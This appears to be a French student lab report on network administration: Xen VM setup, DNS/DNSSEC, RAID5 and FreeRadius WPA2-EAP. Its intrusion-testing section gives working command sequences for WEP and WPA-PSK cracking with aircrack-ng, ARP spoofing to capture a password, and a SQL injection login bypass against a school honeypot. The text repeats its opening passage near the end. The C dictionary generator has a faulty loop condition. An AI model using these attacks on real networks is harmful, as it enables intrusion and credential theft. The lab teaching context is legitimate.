A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:10:31Z

Lchenu : /* Cassage de clef WEP d’un point d’accès WiFi */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
